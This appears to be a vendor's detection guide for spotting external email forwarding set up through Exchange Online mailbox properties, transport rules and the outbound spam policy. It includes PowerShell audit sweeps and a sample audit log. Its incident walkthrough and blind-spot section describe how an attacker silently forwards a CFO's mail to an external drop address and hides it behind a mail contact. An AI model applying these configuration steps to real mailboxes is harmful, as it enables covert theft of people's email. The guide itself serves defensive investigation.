Investigating External Email Forwarding: Set-Mailbox and Transport Rules in UAL
While regular users abuse Inbox Rules, compromised Exchange Admins or mailbox owners configure persistent external diversion using Set-Mailbox (ForwardingSmtpAddress), New-TransportRule (BlindCopyTo / RedirectMessageTo), or Set-HostedOutboundSpamFilterPolicy (AutoForwardingMode=On). AuditVane rule AV-008 flags all four external forwarding paths automatically.
Detection Objective & Threat Scope
Microsoft Defender for Office 365 blocks automatic external email forwarding by default through the Outbound Spam Filter Policy. Unfortunately, when an adversary compromises an Exchange Administrator account—or targets a tenant where admins previously set AutoForwardingMode to On for a legacy workflow—they gain access to silent mailbox-level and tenant-level mail exfiltration.
Unlike Inbox Rules, Exchange Transport Rules (ETRs) and mailbox ForwardingSmtpAddress properties do NOT appear inside Outlook’s Rules menu and never show up under Get-InboxRule—meaning analysts who only audit inbox rules completely miss ongoing tenant-wide mail theft.
Inspecting RecordType 1 (ExchangeAdmin) in Purview UAL exposes four key exfiltration mutations: Set-Mailbox with ForwardingSmtpAddress or ForwardingAddress (especially paired with DeliverToMailboxAndForward=True so the victim notices zero missing mail), New-TransportRule / Set-TransportRule redirecting or blind-copying messages externally, and Set-HostedOutboundSpamFilterPolicy weakening tenant auto-forward blocks.
AuditVane rule AV-008 automatically detects all four cmdlets across Purview UAL exports and surfaces the exact external SMTP address inside the Event Inspector.
Forensic Telemetry Fields & High-Signal Indicators
| Telemetry Field / Pattern | Meaning in M365 / Entra | High-Signal Threat Indicator |
|---|---|---|
Set-Mailbox / ForwardingSmtpAddress | Mailbox-level SMTP redirect property | DeliverToMailboxAndForward=True hides theft from victim |
Set-Mailbox / ForwardingAddress | Forwards via internal MailUser/Contact object | Stealthier if attacker created an external MailContact first |
New-TransportRule / BlindCopyTo | Organization-wide Exchange mail flow rule | Can silently BCC entire departments externally |
New-TransportRule / RedirectMessageTo | Diverts mail before reaching user inbox | Invisible to user InboxRule lists |
Set-HostedOutboundSpamFilterPolicy | Tenant outbound auto-forward guardrail | AutoForwardingMode = On unlocks external exfiltration |
New-MailContact / New-MailUser | External contact created in Exchange directory | Often paired with ForwardingAddress redirection |
Audit Every Active Mailbox, Contact & Transport Forwarding Path
Connect-ExchangeOnline
Get-Mailbox -ResultSize Unlimited | Where-Object { $_.ForwardingSmtpAddress -ne $null -or $_.ForwardingAddress -ne $null } | Select-Object UserPrincipalName, ForwardingSmtpAddress, ForwardingAddress, DeliverToMailboxAndForward
Get-TransportRule | Where-Object { $_.BlindCopyTo -or $_.RedirectMessageTo -or $_.CopyTo } | Format-Table Name, State, BlindCopyTo, RedirectMessageTo
Get-HostedOutboundSpamFilterPolicy | Format-Table Name, AutoForwardingMode
Sample Forwarding Audit Discovery
UserPrincipalName ForwardingSmtpAddress DeliverToMailboxAndForward
----------------- --------------------- --------------------------
finance.director@contoso.invalid smtp:accounting-audit@external-drop.invalid True
Inbox Rule Forwarding vs. Mailbox & Transport Forwarding
| Forwarding Layer | Who Can Configure? | PowerShell Audit Cmdlet |
|---|---|---|
| Inbox Rule (ForwardTo / RedirectTo) | Mailbox Owner (OWA / Outlook) | Get-InboxRule -Mailbox <UPN> -IncludeHidden |
| Mailbox ForwardingSmtpAddress | Exchange Admin / Helpdesk | Get-Mailbox | Where ForwardingSmtpAddress -ne $null |
| Exchange Transport Rule (ETR) | Exchange / Org Management Admin | Get-TransportRule |
| Outbound Spam Policy | Exchange / Security Admin | Get-HostedOutboundSpamFilterPolicy |
Set-Mailbox External Forwarding AuditData Sample
{
"CreationTime": "2026-12-01T08:21:11Z",
"Operation": "Set-Mailbox",
"RecordType": 1,
"Workload": "Exchange",
"UserId": "compromised.admin@contoso-demo.invalid",
"ClientIP": "185.220.101.45",
"Parameters": [
{ "Name": "Identity", "Value": "finance.director@contoso-demo.invalid" },
{ "Name": "ForwardingSmtpAddress", "Value": "smtp:accounting-audit@external-drop.invalid" },
{ "Name": "DeliverToMailboxAndForward", "Value": "True" }
]
}
Look at UserId vs. Parameters.Identity: an administrator account altered the finance director’s mailbox properties, adding ForwardingSmtpAddress with DeliverToMailboxAndForward=True so nothing looks missing inside the victim’s Outlook.
Real-World Incident Walkthrough
After compromising an IT helpdesk technician who holds Exchange Administrator rights, an attacker spends 90 seconds running Set-HostedOutboundSpamFilterPolicy to permit external forwarding, then runs Set-Mailbox on the CFO’s account adding ForwardingSmtpAddress="smtp:accounting-audit@external-drop.invalid" with DeliverToMailboxAndForward=$true.
Even after the CFO resets their password three weeks later, every incoming M&A contract continues forwarding silently externally until AuditVane flags AV-008 on a 30-day ExchangeAdmin UAL sweep.
Step-by-Step Triage, Containment & Verification
- Filter Purview UAL logs inside AuditVane for AV-008 detections across the entire tenant (RecordType 1).
- Run the PowerShell sweep across ALL mailboxes—not solely the alerted executive—looking for ForwardingSmtpAddress and ForwardingAddress.
- Check Get-TransportRule for any BlindCopyTo, CopyTo, or RedirectMessageTo rules created or modified recently.
- Check Get-MailContact for newly added external contacts that might mask ForwardingAddress targets.
- Strip unauthorized forwarding via Set-Mailbox -Identity <UPN> -ForwardingSmtpAddress $null -ForwardingAddress $null and disable rogue Transport Rules.
- Reset Set-HostedOutboundSpamFilterPolicy AutoForwardingMode back to Off (or Automatic).
How to Verify Containment Completed Cleanly
- Zero unexpected ForwardingSmtpAddress or ForwardingAddress properties across all tenant mailboxes.
- Zero unauthorized Transport Rules containing external email addresses.
- Outbound Spam Filter Policy AutoForwardingMode verified Off or Automatic.
Analyst Blind Spots, Licensing Quirks & False Positives
Remember that resetting the target executive’s password does NOT clear ForwardingSmtpAddress or an Exchange Transport Rule! Furthermore, the presence of New-TransportRule means an admin account was compromised—investigate the initiating UserId immediately.
Attackers sometimes create an internal MailContact pointing to Gmail/Proton first and then set Set-Mailbox -ForwardingAddress <ContactName>, bypassing naive hunts that only grep for ForwardingSmtpAddress.
Frequently Asked Questions
Does Microsoft block external ForwardingSmtpAddress by default?
When HostedOutboundSpamFilterPolicy AutoForwardingMode is set to Automatic (System-controlled), Microsoft blocks external auto-forwarding—unless overridden to On or bypassed via Transport Rule.
Can a normal employee modify Exchange Transport Rules?
No. Only Exchange Administrator or Organization Management roles can run New-TransportRule or Set-TransportRule.
Does AuditVane detect both Set-Mailbox and TransportRule forwarding?
Yes, AuditVane rule AV-008 detects New-TransportRule, Set-TransportRule, Set-HostedOutboundSpamFilterPolicy, and Set-Mailbox forwarding parameters.
What is DeliverToMailboxAndForward=True?
It delivers a copy to the employee’s Inbox while silently forwarding a second copy externally—preventing victims from noticing lost mail.